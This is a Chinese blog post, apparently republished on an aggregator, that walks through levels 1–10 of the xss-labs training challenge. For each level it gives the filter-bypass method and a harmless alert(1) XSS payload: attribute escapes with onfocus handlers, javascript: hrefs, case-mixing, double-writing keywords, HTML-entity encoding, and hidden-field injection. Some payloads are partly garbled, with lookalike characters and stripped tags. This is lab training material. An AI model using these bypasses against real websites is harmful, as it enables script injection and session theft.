XSS挑战赛(xsslabs)1~10关通关解析

news2024/11/10 7:25:25

简介

XSS挑战赛,里面包含了各种XSS的防御方式和绕过方式,好好掌握里面的绕过细节,有助于我们更好的去发现XSS漏洞以及XSS的防御。本文更多的是分享解析的细节,不是一个标准的答案,希望大家在渗透的时候有更多的思维。

挑战开始

Level1

通关过程

在这里插入图片描述
第一关总的来说,比较简单,直接先尝试:
在这里插入图片描述

payload

<script>alert(1)</script>

Level2

通关过程

直接尝试payload:
在这里插入图片描述
查看源码:
在这里插入图片描述
想办法去逃逸输入框:
在这里插入图片描述
在这里插入图片描述

payload

a"><script>alert(1)</script>

Level3

通关过程

直接尝试:
在这里插入图片描述
发现没有弹窗,审核源码:
在这里插入图片描述
到这里说明,不能再输入标签了,所以需要转换思路,这个地方标签不行,那我们就尝试事件,这个地方考虑使用onfocus事件:’ οnfοcus='alert(1)
这个单引号就是为了闭合value的单引号。
在这里插入图片描述

paylaod

' οnfοcus='alert(1)

Level4

通关过程

直接尝试:
在这里插入图片描述
分析源码:感觉和第三关思路一致
在这里插入图片描述
尝试: " οnfοcus="alert(1)
在这里插入图片描述

payload

" οnfοcus="alert(1)

Level5

通关过程

直接尝试:
在这里插入图片描述
意味着不能输入script标签了,换思路,用事件:" οnfοcus="alert(1)
在这里插入图片描述
考虑这个地方有没有可能是个黑名单机制呢?换不常用的事件:
在这里插入图片描述
看来过滤的比较讲究,那么我们试试逃逸输入框,用其他标签来试试:
">jack
在这里插入图片描述
点击通关:
在这里插入图片描述

payoad

"><a href="javascript:alert(1)">jack</a>

Level6

通关过程

直接尝试:
在这里插入图片描述
直接尝试:">jack

在这里插入图片描述
在这里插入图片描述
尝试大小写绕过:">jack
在这里插入图片描述
在这里插入图片描述

payload

"><a HrEf="javascript:alert(1)">jack</a>

Level7

通关过程

直接尝试:
在这里插入图片描述
双写?alert(1)
在这里插入图片描述在这里插入图片描述
尝试:">alert(1)

在这里插入图片描述

payload

"><scrscriptipt>alert(1)</scscriptript>

Level8

通关过程

直接尝试:
在这里插入图片描述
看源码:
在这里插入图片描述
那么伪协议?
javascript:alert(1)
在这里插入图片描述
这个地方多半对事件也进行了处理,双写就不用试了,因为没有删除关键字
考虑到unicode是支持所有的编码,那么转成这个编码看行不行:
在这里插入图片描述
所以直接尝试:
在这里插入图片描述

payload

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

Level9

通关过程

直接尝试:
在这里插入图片描述
需要一个合法链接?
那么输入:javascript:alert(1);//http://www.baidu.com
在这里插入图片描述
还是被处理了,那么用和8关相同的编码试试:
javascript:alert(1)//http://www.baidu.com

在这里插入图片描述

payload

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://www.baidu.com

Level10

通关过程

直接尝试:
在这里插入图片描述
看来被实体化了。看源码:
在这里插入图片描述
尝试着传递这几个隐藏域的值:
在这里插入图片描述
构造逃逸:t_sort=a" οnfοcus=“alert(1)”>
在这里插入图片描述
继续构造:t_sort=a" οnfοcus=“alert(1)” type="text
在这里插入图片描述

payload

&t_sort=a" οnfοcus="alert(1)" type="text

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/391934.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于MindAR实现的网页端WebAR图片识别叠加动作模型追踪功能(含源码)

前言 由于之前一直在做这个AR/VR 相关的功能开发&#xff0c;大部分的时候实现方式都是基于高通Vuforia或者EasyAR等基于Unity3d的引擎的开发&#xff0c;这样开发的程序大部分都是运行在APP上&#xff0c;安卓或者ios的开发也能一次性搞定。不过当时大部分的需求都是需要在网…

Xshell的下载、使用、配置【ssh、telnet、串口】

目录 一、概述 二、Xshell的使用  2.1 Xshell使用ssh协议远程连接Linux主机或服务器  2.2 Xshell使用telnet协议远程连接Linux开发板  2.3 Xshell使用SERIAL协议远程连接Linux开发板 三、Xshell常用配置  3.1 配置默认会话属性 一、概述 Xshell是由NetSarang公司开发的强大…

【Linux】-- 进程间通讯

目录 进程间通讯概念的引入 意义&#xff08;手段&#xff09; 思维构建 进程间通信方式 管道 站在用户角度-浅度理解管道 匿名管道 pipe函数 站在文件描述符角度-深度理解管道 管道的特点总结 管道的拓展 单机版的负载均衡 匿名管道读写规则 命名管道 前言 原理…

深入理解java虚拟机精华总结:性能监控和故障处理工具、类加载机制

深入理解java虚拟机精华总结&#xff1a;性能监控和故障处理工具、类加载机制性能监控和故障处理工具、类加载机制jpsjstatjinfojmapjhatjstackVisualVM类加载机制类加载的时机类加载的过程加载验证准备解析初始化类加载器类与类加载器双亲委派模型破坏双亲委派模型往期内容&am…

HTML5的新特性

前言 为了更好地处理今天的互联网应用&#xff0c;HTML5添加了很多新元素及功能&#xff0c;比如: 图形的绘制&#xff0c;多媒体内容&#xff0c;更好的页面结构&#xff0c;更好的形式 处理&#xff0c;和几个api拖放元素&#xff0c;定位&#xff0c;包括网页 应用程序缓存…

八股总结(二)计算机网络与网络编程

layout: post title: 八股总结&#xff08;二&#xff09;计算机网络与网络编程 description: 八股总结&#xff08;二&#xff09;计算机网络与网络编程 tag: 八股总结 文章目录计算机网络网络模型网络体系结构在浏览器输入一个网址后回车&#xff0c;背后都发生了什么&#x…

C/C++每日一练(20230306)

目录 1. 判断素数的个数 ☆ 2. 分隔链表 ★★ 3. 数据流的中位数 ★★ 1. 判断素数的个数 在一个数组A中存放100个数据&#xff0c;用子函数判断该数组中哪些是素数&#xff0c;并统计该素数的个数&#xff0c;在主函数中输出该素数的个数。 代码&#xff1a; #includ…

三、Spark 内存管理

文章目录Spark 内存管理堆内和堆外内存堆内内存堆外内存堆外与堆内的平衡内存空间分配静态内存管理&#xff08;早期版本&#xff09;统一内存管理Spark 内存管理 堆内和堆外内存 Spark 引入了堆外&#xff08;Off-heap&#xff09;内存&#xff0c;使之可以直接在工作节点的…

Java——打开轮盘锁

题目链接 leetcode在线oj题——打开轮盘锁 题目描述 你有一个带有四个圆形拨轮的转盘锁。每个拨轮都有10个数字&#xff1a; ‘0’, ‘1’, ‘2’, ‘3’, ‘4’, ‘5’, ‘6’, ‘7’, ‘8’, ‘9’ 。每个拨轮可以自由旋转&#xff1a;例如把 ‘9’ 变为 ‘0’&#xff0…

对话镕铭微电子蔡媛:深入理解用户痛点,满足差异化需求

“芯片不仅仅是一个硬件产品&#xff0c;为了更好的贴近用户、服务用户&#xff0c;我们需要在固件和软件的框架上投入足够的研发资源&#xff0c;与客户同步迭代更新&#xff0c;以适应其快速的业务迭代要求。在深入理解用户需求和痛点的基础上&#xff0c;满足用户差异化的功…

【STL】模拟实现list

目录 1、list介绍 所要实现类及其成员函数接口总览 2、结点类的模拟实现 基本框架 构造函数 3、迭代器类的模拟实现 迭代器类存在的意义 3.1、正向迭代器 基本框架 默认成员函数 构造函数 运算符重载 --运算符重载 !运算符重载 运算符重载 *运算符重载 …

MapReduce全排序和二次排序

排序是MapReduce框架中最重要的操作之一。MapTask和ReduceTask均会对数据按照key进行排序。该操作属于Hadoop的默认行为。任何应用程序中的数据均会被排序&#xff0c;而不管逻辑上是否需要。默认排序是按照字典顺序排序&#xff0c;且实现该排序的方法是快速排序。对于MapTask…

考研复试——操作系统

文章目录操作系统1. 操作系统的特征&#xff1a;2. 进程与线程的关系以及区别3. 简述进程和程序的区别4. 进程的常见状态&#xff1f;以及各种状态之间的转换条件&#xff1f;5. 进程的调度算法有哪些&#xff1f;6. 什么是死锁&#xff1f;产生条件&#xff1f;如何避免死锁&a…

【强化学习】强化学习数学基础:随机近似理论与随机梯度下降

强化学习数学基础&#xff1a;随机近似理论与随机梯度下降Stochastic Approximation and Stochastic Gradient Descent举个例子Robbins-Monro algorithm算法描述举个例子收敛性分析将RM算法用于mean estimationStochastic gradient descent算法描述示例和应用收敛性分析收敛模式…

Rainbond V5.12 版本发布,支持平台级插件和能力扩展

在这个版本中&#xff0c;我们主要支持了平台级的插件和能力扩展。希望能通过外部插件扩展平台能力&#xff0c;实现微内核的效果&#xff1b;同时以后将会继续精简安装&#xff0c;能让用户按需扩展平台功能。在 Kubernetes 兼容性这方面&#xff0c;我们也通过平台级的能力将…

详解JAVA类加载

目录 1.概述 2.双亲委派 3.ServiceClassLoader 4.URLClassLoader 5.加载冲突 1.概述 概念&#xff1a; 类加载器&#xff08;Class Loader&#xff09;是Java虚拟机&#xff08;JVM&#xff09;的一个重要组件&#xff0c;负责加载Java类到内存中并使其可以被JVM执行。类…

2023/3/6 VUE - 组件传值【通信】方式

1 父亲传子代传值【子代使用父代的数据】 1.1 props传值 父亲给儿子传值&#xff1a; 爷爷给孙子传值&#xff1a; 这个props传值的方式&#xff0c;只能一代一代的往下传&#xff0c;不能跨代传值。 有一个问题&#xff1a;子组件不能修改父组件的值&#xff1a; 1.2 …

MyBatis学习笔记(十) —— 动态SQL

10、动态SQL MyBatis框架的动态SQL技术是一种根据特定条件动态拼装SQL语句的功能&#xff0c;它存在的意义是为了解决拼接SQL语句字符串的痛点问题。 动态SQL&#xff1a; 1、if 标签&#xff1a;通过test属性中的表达式判断标签中的内容是否有效&#xff08;是否会拼接到sql中…

RTOS中相对延时和绝对延时的区别

相信许多朋友都有过这么一个需求&#xff1a;固定一个时间&#xff08;周期&#xff09;去处理某一件事情。 比如&#xff1a;固定间隔10ms去采集传感器的数据&#xff0c;然后通过一种算法计算出一个结果&#xff0c;最后通过指令发送出去。 你会通过什么方式解决呢&#xf…

Redis缓存击穿,缓存穿透,缓存雪崩,附解决方案

前言在日常的项目中&#xff0c;缓存的使用场景是比较多的。缓存是分布式系统中的重要组件&#xff0c;主要解决在高并发、大数据场景下&#xff0c;热点数据访问的性能问题&#xff0c;提高性能的数据快速访问。本文以Redis作为缓存时&#xff0c;针对常见的缓存击穿、缓存穿透…